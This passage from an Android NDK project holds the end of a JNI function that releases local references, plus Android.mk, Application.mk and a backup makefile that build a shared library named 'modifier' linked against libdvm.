	// 释放内存
	(*env)->DeleteLocalRef( env, new_value );
	(*env)->DeleteLocalRef( env, cls );

	return true;
}









源代码/modifier/jni/Android.mk


LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)
LOCAL_LDLIBS += -L./libs -ldvm
LOCAL_MODULE    := modifier
LOCAL_SRC_FILES := modifier.cpp

include $(BUILD_SHARED_LIBRARY)







源代码/modifier/jni/Application.mk

APP_ABI := armeabi-v7a 







源代码/modifier/jni/Android.mk~


LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)
LOCAL_LDLIBS += -L./libs -ldvm
LOCAL_MODULE    := modifier
LOCAL_SRC_FILES := modifier.c

include $(BUILD_SHARED_LIBRARY)







